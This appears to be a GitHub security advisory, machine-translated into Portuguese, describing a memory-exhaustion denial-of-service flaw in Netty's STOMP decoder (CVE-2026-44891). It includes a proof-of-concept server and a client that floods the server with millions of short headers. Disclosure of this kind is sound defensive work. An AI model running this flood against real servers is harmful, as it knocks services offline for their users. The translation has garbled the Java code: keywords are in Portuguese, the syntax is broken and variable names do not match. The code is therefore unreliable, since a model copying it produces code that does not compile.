### Resumo O Decodificador de Subframe do Stomp não consegue limitar o número total de cabeçalhos ou o tamanho cumulativo por frame, permitindo que um atacante cause um erro de Memória OutOf, levando a uma Negação de Serviço. ### Detalhes `io.netty.handler.codec.stomp.StompSubframeDecoder` implementa o protocolo STOMP. O parâmetro `maxLineLongth` restringe o comprimento das linhas de cabeçalho individuais, mas não há mecanismo para limitar o número total de cabeçalhos em uma única moldura STOMP. Um atacante pode enviar um grande número de cabeçalhos curtos (por exemplo, ` a: 1 \n`), que são acumulados em memória dentro do Subframe `DefaultStompHeaders` até que o JVM lance um OutOfMemoryError. ### PoC Execute o servidor com `-Xmx 256 m`. ```java public class final ServerApp { public vacuum main(String[] args) lança exceção { EventLoopGroup Group = novo MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); tente { ChannelFuture serverFuture = novo ServerBootstrap().group(group).channel(NioServerSocketChannel.class).childHandler(novo StompSubframeDecoder()).bind() 8080 ).sync(); serverFuture.channel(.closeFuture().sync(); } finalmente { group.shutdownGracefully(); } } } ```.
````java public final class ClientApp { público vazio estático principal(String[] args) lança Exceção { tentativa (Socket socket = novo Socket(" 127.0.0.1 ", 8080 )) { OutputStream out = socket.getOutputStream(); out.write("CONNECT\n".getBytes(StandardCharsets.UTF_ 8 )). StringBuilder sb = novo StringBuilder(); para (int i = 0; i < 1000; i++) { sb. append("a: 1 \n"); } byte[] groupsHeaders = sb.toString().getBytes(StandardCharsets.UTF_ 8 ); para (int i = 1; i <= 50 _ 000; i++) { out.write(bulkHeaders); } } captura (Exceção e) { e.printStackTrace(); } } } ```.
### Negação de Impacto do Serviço: Um atacante pode facilmente esgotar a memória do servidor enviando uma única mensagem STOMP maliciosa. Qualquer servidor expondo um endpoint STOMP baseado no StompSubframeDecoder é vulnerável ao DoS. Registro de aconselhamento: GHSA- vhch- 2 wf 3 - m 8 Rp. Identificadores relacionados: CVE- 2026 - 44891. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 14 T 20: 16: 34.000 Z e lista a sua última modificação como 2026 - 07 - 14 T 20: 16: 34.000 Z.
Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. Software afetado e informações de versão: Pacote Maven io.netty:netty-codec- stomp — ECOSYSTEM: introduzido 4.2.0.Alfa 1, corrigido 4.2.16.Final. Pacote Maven io.netty:netty-codec- stomp — ECOSYSTEM: introduzido 0, corrigido 4.1.136.Final. Classificação e evidência: identificadores de fraqueza CWE- 400, CWE- 770. O registro contém 2 suporte de referências nestes tipos: WEB, PACKAGE.